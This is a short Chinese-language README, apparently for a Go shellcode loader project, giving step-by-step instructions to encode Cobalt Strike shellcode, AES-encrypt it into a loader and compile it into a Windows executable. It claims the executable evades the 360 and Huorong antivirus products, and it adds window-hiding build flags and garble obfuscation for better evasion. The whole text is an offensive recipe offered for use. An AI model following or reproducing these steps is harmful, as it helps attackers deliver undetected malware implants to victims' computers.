2022.8.26
原项目:https://github.com/HZzz2/go-shellcode-loader
在cs中生成shellcode(C格式文件),将 \x 全部替换为空
// \xfc\x48\x83\xe4\xf0... 替换为 fc4883e4f0...
把替换后的shellcode进行一次base64加密
//ZmM0ODgzZTRmMA...
复制到 aes-encrypt.go 的44行,base64-payload处。
执行 aes-encrypt.go 生成 AES 加密的 payload
go run aes-encrypt.go
复制输出的值,替换 cs-loader.go 的58行 AES-payload
编译成exe文件即可(有黑框)(过 360、火绒)
go build -o shell.exe cs-loader.go
编译后执行无黑框 (过火绒,不过360)
go build -ldflags="-w -s -H windowsgui" -o shell.exe cs-loader.go
注:
直接使用 go 编译会有个黑框(cmd)一直开着,关闭后会直接kill掉进程,但是不会被 360 查杀,可以根据自己的情景进行编译
也可以使用 garble 进行混淆编译,(免杀效果会更好点):
//有黑框
garble -tiny -literals -seed=random build cs-loader.go
//无黑框
garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" cs-loader.go